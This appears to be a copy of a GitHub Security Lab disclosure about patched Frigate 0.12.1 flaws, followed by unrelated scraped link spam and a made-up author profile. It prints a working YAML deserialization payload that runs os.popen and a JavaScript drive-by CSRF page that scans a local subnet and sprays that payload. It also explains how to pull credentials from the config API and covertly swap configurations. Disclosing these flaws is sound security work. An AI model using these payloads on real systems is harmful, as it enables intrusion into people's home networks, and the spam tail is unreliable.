Securing our home labs: Frigate code review (2024)

At GitHub Security Lab, we are continuously analyzing open source projects in line with our goal of keeping the software ecosystem safe. Whether by manual review, multi-repository variant analysis, or internal automation, we focus on high-profile projects we all depend on and rely on.

Following on our Securing our home labs series, this time, we (Logan MacLaren, @maclarel, and Jorge Rosillo, @jorgectf) paired in our duty of reviewing some of our automation results (leveraging GitHub code scanning), when we came across an alert that would absorb us for a while. By the end of this post, you will be able to understand how to get remote code execution in a Frigate instance, even when the instance is not directly exposed to the internet.

The target

Securing our home labs: Frigate code review (1)

Frigate is an open source network video recorder that can consume video streams from a wide variety of consumer security cameras. In addition to simply acting as a recorder for these streams, it can also perform local object detection.

Furthermore, Frigate offers deep integrations with Home Assistant, which we audited a few weeks ago. With that, and given the significant deployment base (more than 1.6 million downloads of Frigate container at the time of writing), this looked like a great project to dig deeper into as a continuation for our previous research.

Issues we found

Code scanning initially alerted us to several potential vulnerabilities, and the one that stood out the most was deserialization of user-controlled data, so we decided to dive into that one to start.

Please note that the code samples outlined below are based on Frigate 0.12.1 and all vulnerabilities outlined in this report have been patched as of the latest beta release (0.13.0 Beta 3).

Insecure deserialization with yaml.load (CVE-2023-45672)

Securing our home labs: Frigate code review (2)

Frigate offers the ability to update its configuration in three ways—through a configuration file local to the system/container it runs on, through its UI, or through the /api/config/save REST API endpoint. When updating the configuration through any of these means there will eventually be a call to load_config_with_no_duplicates which is where this vulnerability existed.

Using the /api/config/save endpoint as an entrypoint, input is initially accepted through http.py:

@bp.route("/config/save", methods=["POST"])def config_save(): save_option = request.args.get("save_option") new_config = request.get_data().decode()

The user-provided input is then parsed and loaded by load_config_with_no_duplicates:

@classmethoddef parse_raw(cls, raw_config): config = load_config_with_no_duplicates(raw_config) return cls.parse_obj(config)

However, load_config_with_no_duplicates uses yaml.loader.Loader which can instantiate custom constructors. A provided payload will be executed directly:

PreserveDuplicatesLoader.add_constructor( yaml.resolver.BaseResolver.DEFAULT_MAPPING_TAG, map_constructor)return yaml.load(raw_config, PreserveDuplicatesLoader)

In this scenario providing a payload like the following (invoking os.popen to run touch /tmp/pwned) was sufficient to achieve remote code execution:

!!python/object/apply:os.popen- touch /tmp/pwned

Cross-site request forgery in config_save and config_set request handlers (CVE-2023-45670)

Even though we can get code execution on the host (potentially a container) running Frigate, most installations are only exposed in the user local network, so an attacker cannot interact directly with the instance. We wanted to find a way to get our payload to the target system without needing to have direct access. Some further review of the API led us to find two notable things:

  1. The API does not implement any authentication (nor does the UI), instead relying on user-provided security (for example, an authentication proxy).
  2. No CSRF protections were in place, and the attacker does not really need to be able to read the cross-origin response, meaning that even with an authentication proxy in place a “drive-by” attack would be feasible.

As a simple proof of concept (PoC), we created a web page that will run a Javascript function targeted to a server under our control and drop in our own configuration (note the camera name of pwnd):

const pwn = async () => { const data = `mqtt: host: mqttcameras: pwnd: ffmpeg: inputs: - path: /media/frigate/car-stopping.mp4 input_args: -re -stream_loop -1 -fflags +genpts roles: - detect - rtmp detect: height: 1080 width: 1920 fps: 5`; await fetch("http://:5000/api/config/save?save_option=saveonly", { method: "POST", mode: "no-cors", body: data });}pwn();

Putting these into action for a “drive-by

As we have a combination of an API endpoint that can update the server’s configuration without authentication, is vulnerable to a “drive-by” as it lacks CSRF protection, and a vulnerable configuration parser we can quickly move toward 0-click RCE with little or no knowledge of the victim’s network or Frigate configuration.

For the purposes of this PoC, we have Frigate 0.12.1 running at 10.0.0.2 on TCP 5000.

Using the following Javascript we can scan an arbitrary network space (for example, 10.0.0.1 through 10.0.0.4) to find a service accepting connections on TCP 5000. This will iterate over any IP in the range we provide in the script and scan the defined port range. If it finds a hit, it will run the pwn function against it.

// Tested and confirmed functional using Chrome 118.0.5993.88 with Frigate 0.12.1.const pwn = (host, port) => { const data = `!!python/object/apply:os.popen- touch /tmp/pwned`; fetch("http://" + host + ":" + port + "/api/config/save?save_option=saveonly", { method: "POST", mode: "no-cors", body: data });};const thread = (host, start, stop, callback) => { const loop = port => { if (port { callback(port); loop(port + 1); }).catch(err => { loop(port + 1); }); } }; setTimeout(() => loop(start), 0);};const scanRange = (start, stop, thread_count) => { const port_range = stop - start; const thread_range = port_range / thread_count; for (let n = 0; n < 5; n++) { let host = "10.0.0." + n; for (let i = 0; i { pwn(host, port); }); } }}window.onload = () => { scanRange(4998, 5002, 2);};

This can, of course, be extended out to scan a larger IP range, multiple different IP ranges (for example, 192.168.0.0/24), different port ranges, etc. In short, the attacker does not need to know anything about the victim’s network or the location of the Frigate service—if it’s running on a predictable port a malicious request can easily be sent to it with no user involvement beyond accessing the malicious website. It is likely that this can be further extended to perform validation of the target prior to submitting a payload; however, the ability to “spray” a malicious payload in this fashion is sufficient for zero-knowledge exploitation without user interaction.

Credit to wybiral/localscan for the basis of the Javascript port scanner.

Being a bit sneakier with the /config API

The /config API has three main capabilities:

  • Pull the existing config
  • Save a new config
  • Update an existing config

As Frigate, by default, has no authentication mechanism it’s possible to arbitrarily pull the configuration of the target server by sending a GET request to :/api/config/raw. While this may not seem too interesting at first, this can be used to pull MQTT credentials, RTSP password(s), and local file paths that we can take advantage of for exfiltration.

The saveonly option is useful if we wish to utilize the deserialization vulnerability; however, restart can actually have the server running with a configuration under our control.

Combining these three capabilities with the CSRF vulnerability outlined above, it’s possible to not only achieve RCE (the most interesting path), but also to have Frigate running a malicious config in a way that’s largely invisible to the owner of the service.

In short, we can:

  • Pull the existing configuration from /config/raw.
  • Insert our own configuration (e.g. disabling recording, changing the MQTT server location, changing feeds to view cameras under our control, etc…—movie-style hacker stuff) and prompt the server to run with it using /config/save‘s restart argument.
  • Overwrite our malicious configuration with the original configuration but not utilize it by again updating through /config/save using the saveonly argument.

Conclusion

Frigate is a fantastic project, and it does what it aims to do very well, with significant customization options. Having said this, there remains considerable room for improvement with the out-of-the-box security configuration, so additional security protections are strongly recommended for deployments of this software.

At the time of writing the vulnerabilities outlined here have all been patched (>= 0.13.0 Beta 3) and the following GitHub Security Advisories and CVEs have been published:

We also published our advisory on the GitHub Security Lab page.

We encourage users of Frigate to update to the latest releases as soon as possible, and also you, fellow reader, to stay tuned for more blog posts in the Securing our home labs series!

Tags:

  • CodeQL
  • GitHub Security Lab
  • open source
  • security research

Written by

Securing our home labs: Frigate code review (2024)
Top Articles
WW Low-Fat Cranberry Bars Recipe | Simple Nourished Living
Dr Michael Mosley reveals his top 5:2 recipes for one person
Spasa Parish
Rentals for rent in Maastricht
159R Bus Schedule Pdf
Sallisaw Bin Store
Black Adam Showtimes Near Maya Cinemas Delano
Espn Transfer Portal Basketball
Pollen Levels Richmond
11 Best Sites Like The Chive For Funny Pictures and Memes
Things to do in Wichita Falls on weekends 12-15 September
Craigslist Pets Huntsville Alabama
Paulette Goddard | American Actress, Modern Times, Charlie Chaplin
What's the Difference Between Halal and Haram Meat & Food?
R/Skinwalker
Rugged Gentleman Barber Shop Martinsburg Wv
Rogers Breece Obituaries
Ems Isd Skyward Family Access
Elektrische Arbeit W (Kilowattstunden kWh Strompreis Berechnen Berechnung)
Omni Id Portal Waconia
Kellifans.com
Banned in NYC: Airbnb One Year Later
Four-Legged Friday: Meet Tuscaloosa's Adoptable All-Stars Cub & Pickle
Model Center Jasmin
Ice Dodo Unblocked 76
Is Slatt Offensive
Labcorp Locations Near Me
Storm Prediction Center Convective Outlook
Experience the Convenience of Po Box 790010 St Louis Mo
Fungal Symbiote Terraria
modelo julia - PLAYBOARD
Abby's Caribbean Cafe
Joanna Gaines Reveals Who Bought the 'Fixer Upper' Lake House and Her Favorite Features of the Milestone Project
Tri-State Dog Racing Results
Navy Qrs Supervisor Answers
Trade Chart Dave Richard
Lincoln Financial Field Section 110
Free Stuff Craigslist Roanoke Va
Stellaris Resolution
Wi Dept Of Regulation & Licensing
Pick N Pull Near Me [Locator Map + Guide + FAQ]
Crystal Westbrooks Nipple
Ice Hockey Dboard
Über 60 Prozent Rabatt auf E-Bikes: Aldi reduziert sämtliche Pedelecs stark im Preis - nur noch für kurze Zeit
Wie blocke ich einen Bot aus Boardman/USA - sellerforum.de
Infinity Pool Showtimes Near Maya Cinemas Bakersfield
Hooda Math—Games, Features, and Benefits — Mashup Math
Dermpathdiagnostics Com Pay Invoice
How To Use Price Chopper Points At Quiktrip
Maria Butina Bikini
Busted Newspaper Zapata Tx
Latest Posts
Article information

Author: Pres. Lawanda Wiegand

Last Updated:

Views: 5967

Rating: 4 / 5 (71 voted)

Reviews: 94% of readers found this page helpful

Author information

Name: Pres. Lawanda Wiegand

Birthday: 1993-01-10

Address: Suite 391 6963 Ullrich Shore, Bellefort, WI 01350-7893

Phone: +6806610432415

Job: Dynamic Manufacturing Assistant

Hobby: amateur radio, Taekwondo, Wood carving, Parkour, Skateboarding, Running, Rafting

Introduction: My name is Pres. Lawanda Wiegand, I am a inquisitive, helpful, glamorous, cheerful, open, clever, innocent person who loves writing and wants to share my knowledge and understanding with you.